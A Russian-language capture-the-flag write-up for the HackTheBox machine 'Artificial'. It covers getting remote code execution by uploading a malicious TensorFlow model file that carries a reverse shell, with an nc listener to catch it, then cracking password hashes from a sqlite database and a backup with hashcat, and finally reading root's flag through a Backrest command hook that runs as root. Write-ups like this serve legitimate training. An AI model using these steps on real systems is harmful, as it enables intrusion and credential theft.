Машина уровня easy на HTB.
Сканируем адрес:
nmap -sC -sV 10.10.11.74
У нас открыты только 80 и 22 порт. Идем на сайт, нас приветствует веб-приложение, позволяющее загружать свои LLM модели. Регистрируемся, заходим и видим на
/dashboard возможность скачать requirements.txt в требованиях. Там в зависимостях - tensorflow-cpu==2.13.1. И приложен тестовый DockerfileFROM python:3.8-slim
WORKDIR /code
RUN apt-get update && \
apt-get install -y curl && \
curl -k -LO https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl && \
rm -rf /var/lib/apt/lists/*
RUN pip install ./tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl
ENTRYPOINT ["/bin/bash"]
Ищем публичные exploit на tensorflow. Я нашел рабочий вот тут. Клонируем, нужно поправить файл exploit.py, в нем вшит reverse shell, выставляем свой ip и порт.
Далее собираем по типу как в предоставленном Dockerfile:
docker run --rm -v $(pwd):/code -w /code python:3.8-slim bash -c "
pip install https://files.pythonhosted.org/packages/65/ad/4e090ca3b4de53404df9d1247c8a371346737862cfe539e7516fd23149a4/tensorflow_cpu-2.13.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl &&
python exploit.py"
У нас на выходе будет файл
exploit.h5, его можно через UI загрузить на сайте и нажать "View predictions" для выполнения, перед этим ловим шелл nc -lnvp 9000.После получения RCE, немного стабилизируем шелл
python3 -c 'import pty; pty.spawn("/bin/bash")'.На машине находим sqlite базу в
instance/users.db. sqlite3 instance/users.db
.tables
select * from users;
У нас тут есть юзер
gael, такой же как на хосте и хеш его пароля. Брутим хеш:echo <hash> hash.txt
hashcat -m 0 -a 0 hash.txt /path/to/rockyou.txt
С полученным паролем пробуем ssh под этим пользователем. Это работает, получаем первый флаг в user.txt.
Далее нужен LPE. sudo у нас нет, смотрим какие группы у пользователя:
gael@artificial:~$ find / -group sysadm -xtype f -ls 2>/dev/null | head -n 200
293066 51132 -rw-r----- 1 root sysadm 52357120 Mar 4 2025 /var/backups/backrest_backup.tar.gz
gael@artificial:~$
Разархивируем бэкап. Внутри из интересного файл
.config/backrest/config.json, внутри имя пользователя и хеш закодированный в base64. Сбрутим его:echo <base64_hash> |base64 -d > /tmp/hash.txt
hashcat -m 3200 /tmp/hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 3200 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --show
Получаем пароль от UI системы бэкапа backrest. Заходим туда, она позволяет создавать бэкап и выполнять скрипты, а так как запущена от root, мы можем этим воспользоваться.
"Add repo" -> заполняем любыми значениями -> Hooks -> CONDITION_PRUNE_START -> command -> cat /root/root.txt > /tmp/root.txt. После запуска идем проверять /tmp директорию и читаем рут флаг.
#writeup
#htb